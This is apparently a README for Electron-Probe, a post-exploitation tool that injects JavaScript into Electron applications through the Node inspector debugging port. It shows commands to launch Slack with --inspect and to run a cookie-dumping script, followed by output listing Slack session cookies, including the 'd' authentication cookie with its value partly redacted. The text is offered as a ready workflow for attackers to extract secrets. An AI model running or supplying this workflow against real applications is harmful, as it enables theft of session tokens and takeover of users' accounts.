Electron-Probe leverages the Node variant of the Chrome Debugging Protocol to execute JavaScript payloads inside of target Electron applications. This allows an attacker to extract secrets and manipulate the application as part of their post-exploitation workflow.
Launch the Electron app target with the --inspect flag to start the V8 Inspector:
$ /Applications/Slack.app/Contents/MacOS/Slack --inspect
Debugger listening on ws://127.0.0.1:9229/b84df45f-b494-4e18-b77c-d8ed8f34c44d
For help, see: https://nodejs.org/en/docs/inspector
Initializing local storage instance
(node:82531) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
(Use `Slack --trace-deprecation ...` to show where the warning was created)
[08/29/21, 19:12:21:841] info:
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║ Slack 4.18.0, darwin (Store) 20.6.0 on x64 ║
╚══════════════════════════════════════════════════════╝
Then, use electron-probe to inject your payloads:
$ ./electron-probe -inspect-target http://localhost:9229 -script scripts/dump_slack_cookies.js | jq
[
[... SNIP]
{
"name": "ssb_instance_id",
"value": "90d5538e- [ REDACTED ]",
"domain": ".slack.com",
"hostOnly": false,
"path": "/",
"secure": false,
"httpOnly": false,
"session": false,
"expirationDate": 1945639889,
"sameSite": "unspecified"
},
{
"name": "d",
"value": "aX9QnD8F [ REDACTED ]",
"domain": ".slack.com",
"hostOnly": false,
"path": "/",
"secure": true,
"httpOnly": true,
"session": false,
"expirationDate": 1941391182.507454,
"sameSite": "lax"
},
[ SNIP ]
]
There is a small set of example scripts in the scripts directory to get you started.
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